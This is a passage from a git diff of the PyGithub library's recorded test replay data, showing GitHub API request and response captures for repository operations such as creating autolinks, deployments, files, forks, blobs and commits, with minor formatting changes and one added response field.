com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"31a1c007808a4205bdae691385d2627c561e69ed","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31a1c007808a4205bdae691385d2627c561e69ed","html_url":"https://github.com/PyGithub/PyGithub/commit/31a1c007808a4205bdae691385d2627c561e69ed"}]}]} diff --git a/tests/ReplayData/Repository.testCreateAutolink.txt b/tests/ReplayData/Repository.testCreateAutolink.txt index 2439bbbe07..b1a25f00e1 100644 --- a/tests/ReplayData/Repository.testCreateAutolink.txt +++ b/tests/ReplayData/Repository.testCreateAutolink.txt @@ -7,5 +7,4 @@ None {"key_prefix": "DUMMY-", "url_template": "https://github.com/PyGithub/PyGithub/issues/"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 12:57:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '102'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"f90a1a598b996d3d1967b96c218459edde984e62d452623ff4aba2530a256b85"'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C6E6:34FE:190079B:197523C:618135D3')] -{"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/"} - +{"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/","is_alphanumeric":true} diff --git a/tests/ReplayData/Repository.testCreateDeployment.txt b/tests/ReplayData/Repository.testCreateDeployment.txt index 2d6de36c57..ee33818012 100644 --- a/tests/ReplayData/Repository.testCreateDeployment.txt +++ b/tests/ReplayData/Repository.testCreateDeployment.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Mon, 31 Aug 2020 07:21:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1691'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"495f04c40f50b78b91de2a29a8918207"'), ('Last-Modified', 'Mon, 31 Aug 2020 07:21:10 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1598861786'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FB51:2C9E:D80A0F2:105065C6:5F4CA4E6')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","id":263877258,"node_id":"MDEwOkRlcGxveW1lbnQyNjM4NzcyNTg=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{"test":true},"original_environment":"test","environment":"test","description":"Test deployment","creator":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"created_at":"2020-08-31T07:21:10Z","updated_at":"2020-08-31T07:21:10Z","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","transient_environment":true,"production_environment":false,"performed_via_github_app":null} - diff --git a/tests/ReplayData/Repository.testCreateFile.txt b/tests/ReplayData/Repository.testCreateFile.txt index 8dbfcf1380..80be8a7144 100644 --- a/tests/ReplayData/Repository.testCreateFile.txt +++ b/tests/ReplayData/Repository.testCreateFile.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '16'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f5cc2fa3ba4de95ac0eb8c2ca47350c0"'), ('date', 'Fri, 11 May 2012 11:43:09 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/contents/doc/testCreateUpdateDeleteFile.md')] {"content": {"name": "hello.txt", "url": "https://api.github.com/repos/PyGithub/contents/doc/testCreateUpdateDeleteFile.md", "html_url": "https://github.com/PyGithub/doc/testCreateUpdateDeleteFile.md", "download_url": "https://raw.githubusercontent.com/PyGithub/doc/testCreateUpdateDeleteFile.md", "sha": "95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "_links": {"self": "https://api.github.com/repos/PyGithub/contents/doc/testCreateUpdateDeleteFile.md", "git": "https://api.github.com/repos/PyGithub/git/blobs/95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "html": "https://github.com/jacquev6/PyGithub/blob/master/doc/testCreateUpdateDeleteFile.md"}, "git_url": "https://api.github.com/repos/jacquev6/PyGithub/git/blobs/95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "path": "doc/testCreateUpdateDeleteFile.md", "type": "file", "size": 9}, "commit": {"committer": {"date": "2014-11-07T22:01:45Z", "name": "Enix Yu", "email": "enix223@gmail.com"}, "author": {"date": "2016-01-15T16:13:30+12:00", "name": "Enix Yu", "email": "enix223@gmail.com"}, "url": "https://api.github.com/repos/jacquev6/PyGithub/git/commits/7638417db6d59f3c431d3e1f261cc637155684cd", "tree": {"url": "https://api.github.com/repos/jacquev6/PyGithub/git/trees/691272480426f78a0138979dd3ce63b77f706feb", "sha": "691272480426f78a0138979dd3ce63b77f706feb"}, "html_url": "https://github.com/jacquev6/PyGithub/git/commit/7638417db6d59f3c431d3e1f261cc637155684cd", "sha": "7638417db6d59f3c431d3e1f261cc637155684cd", "parents": [{"url": "https://api.github.com/repos/jacquev6/PyGithub/git/commits/1acc419d4d6a9ce985db7be48c6349a0475975b5", "sha": "1acc419d4d6a9ce985db7be48c6349a0475975b5", "html_url": "https://github.com/jacquev6/PyGithub/git/commit/1acc419d4d6a9ce985db7be48c6349a0475975b5"}]}} - diff --git a/tests/ReplayData/Repository.testCreateFork.txt b/tests/ReplayData/Repository.testCreateFork.txt index 1d1ac7c9f2..bafeb02f98 100644 --- a/tests/ReplayData/Repository.testCreateFork.txt +++ b/tests/ReplayData/Repository.testCreateFork.txt @@ -8,4 +8,3 @@ None 202 [('Date', 'Wed, 27 Nov 2019 23:00:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '16034'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4932'), ('X-RateLimit-Reset', '1574899126'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E2F5:3ECF:1DE67F:229B58:5DDEFFFC')] {"id":224531141,"node_id":"MDEwOlJlcG9zaXRvcnkyMjQ1MzExNDE=","name":"PyGithub","full_name":"prtg-dev/PyGithub","private":false,"owner":{"login":"prtg-dev","id":54651306,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU0NjUxMzA2","avatar_url":"https://avatars1.githubusercontent.com/u/54651306?v=4","gravatar_id":"","url":"https://api.github.com/users/prtg-dev","html_url":"https://github.com/prtg-dev","followers_url":"https://api.github.com/users/prtg-dev/followers","following_url":"https://api.github.com/users/prtg-dev/following{/other_user}","gists_url":"https://api.github.com/users/prtg-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/prtg-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prtg-dev/subscriptions","organizations_url":"https://api.github.com/users/prtg-dev/orgs","repos_url":"https://api.github.com/users/prtg-dev/repos","events_url":"https://api.github.com/users/prtg-dev/events{/privacy}","received_events_url":"https://api.github.com/users/prtg-dev/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/prtg-dev/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/prtg-dev/PyGithub","forks_url":"https://api.github.com/repos/prtg-dev/PyGithub/forks","keys_url":"https://api.github.com/repos/prtg-dev/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/prtg-dev/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/prtg-dev/PyGithub/teams","hooks_url":"https://api.github.com/repos/prtg-dev/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/prtg-dev/PyGithub/events","assignees_url":"https://api.github.com/repos/prtg-dev/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/prtg-dev/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/prtg-dev/PyGithub/tags","blobs_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/prtg-dev/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/prtg-dev/PyGithub/languages","stargazers_url":"https://api.github.com/repos/prtg-dev/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/prtg-dev/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/prtg-dev/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/prtg-dev/PyGithub/subscription","commits_url":"https://api.github.com/repos/prtg-dev/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/prtg-dev/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/prtg-dev/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/prtg-dev/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/prtg-dev/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/prtg-dev/PyGithub/merges","archive_url":"https://api.github.com/repos/prtg-dev/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/prtg-dev/PyGithub/downloads","issues_url":"https://api.github.com/repos/prtg-dev/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/prtg-dev/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/prtg-dev/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/prtg-dev/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/prtg-dev/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/prtg-dev/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/prtg-dev/PyGithub/deployments","created_at":"2019-11-27T23:00:12Z","updated_at":"2019-11-26T22:54:53Z","pushed_at":"2019-11-27T22:40:33Z","git_url":"git://github.com/prtg-dev/PyGithub.git","ssh_url":"git@github.com:prtg-dev/PyGithub.git","clone_url":"https://github.com/prtg-dev/PyGithub.git","svn_url":"https://github.com/prtg-dev/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12092,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"organization":{"login":"prtg-dev","id":54651306,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU0NjUxMzA2","avatar_url":"https://avatars1.githubusercontent.com/u/54651306?v=4","gravatar_id":"","url":"https://api.github.com/users/prtg-dev","html_url":"https://github.com/prtg-dev","followers_url":"https://api.github.com/users/prtg-dev/followers","following_url":"https://api.github.com/users/prtg-dev/following{/other_user}","gists_url":"https://api.github.com/users/prtg-dev/gists{/gist_id}","starred_url":"https://api.github.com/users/prtg-dev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prtg-dev/subscriptions","organizations_url":"https://api.github.com/users/prtg-dev/orgs","repos_url":"https://api.github.com/users/prtg-dev/repos","events_url":"https://api.github.com/users/prtg-dev/events{/privacy}","received_events_url":"https://api.github.com/users/prtg-dev/received_events","type":"Organization","site_admin":false},"parent":{"id":178836424,"node_id":"MDEwOlJlcG9zaXRvcnkxNzg4MzY0MjQ=","name":"PyGithub","full_name":"jacquev6/PyGithub","private":false,"owner":{"login":"jacquev6","id":47873678,"node_id":"MDQ6VXNlcjQ3ODczNjc4","avatar_url":"https://avatars1.githubusercontent.com/u/47873678?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","created_at":"2019-04-01T10:06:27Z","updated_at":"2019-11-26T22:54:53Z","pushed_at":"2019-11-27T22:40:33Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12092,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-11-27T19:00:09Z","pushed_at":"2019-11-27T22:40:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12220,"stargazers_count":3016,"watchers_count":3016,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1001,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":57,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1001,"open_issues":57,"watchers":3016,"default_branch":"master"},"network_count":1001,"subscribers_count":0} - diff --git a/tests/ReplayData/Repository.testCreateGitBlob.txt b/tests/ReplayData/Repository.testCreateGitBlob.txt index e265afddc8..0f6cf325db 100644 --- a/tests/ReplayData/Repository.testCreateGitBlob.txt +++ b/tests/ReplayData/Repository.testCreateGitBlob.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '156'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f5cc2fa3ba4de95ac0eb8c2ca47350c0"'), ('date', 'Fri, 11 May 2012 11:43:09 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8"} - diff --git a/tests/ReplayData/Repository.testCreateGitCommit.txt b/tests/ReplayData/Repository.testCreateGitCommit.txt index 16de2820b2..444d341647 100644 --- a/tests/ReplayData/Repository.testCreateGitCommit.txt +++ b/tests/ReplayData/Repository.testCreateGitCommit.txt @@ -19,4 +19,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4931'), ('content-length', '601'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7719e5a3f5b064dc0871853dba33302b"'), ('date', 'Sun, 27 May 2012 05:50:59 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/commits/0b820628236ab8bab3890860fc414fa757ca15f4')] {"author":{"email":"github.com@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-26T22:50:59-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0b820628236ab8bab3890860fc414fa757ca15f4","message":"Commit created by PyGithub","committer":{"email":"github.com@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-26T22:50:59-07:00"},"sha":"0b820628236ab8bab3890860fc414fa757ca15f4","parents":[],"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528","sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528"}} - diff --git a/tests/ReplayData/Repository.testCreateGitCommitWithAllArguments.txt b/tests/ReplayData/Repository.testCreateGitCommitWithAllArguments.txt index 5d529a7b99..93ec72146f 100644 --- a/tests/ReplayData/Repository.testCreateGitCommitWithAllArguments.txt +++ b/tests/ReplayData/Repository.testCreateGitCommitWithAllArguments.txt @@ -19,4 +19,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4928'), ('content-length', '577'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"660cc851cdd42a2caa7241cd96db0d01"'), ('date', 'Sun, 27 May 2012 05:53:47 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/commits/526946197ae9da59c6507cacd13ad6f1cfb686ea')] {"author":{"email":"j.doe@vincent-jacques.net","name":"John Doe","date":"2008-07-08T21:13:30-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/526946197ae9da59c6507cacd13ad6f1cfb686ea","message":"Commit created by PyGithub","committer":{"email":"j.doe@vincent-jacques.net","name":"John 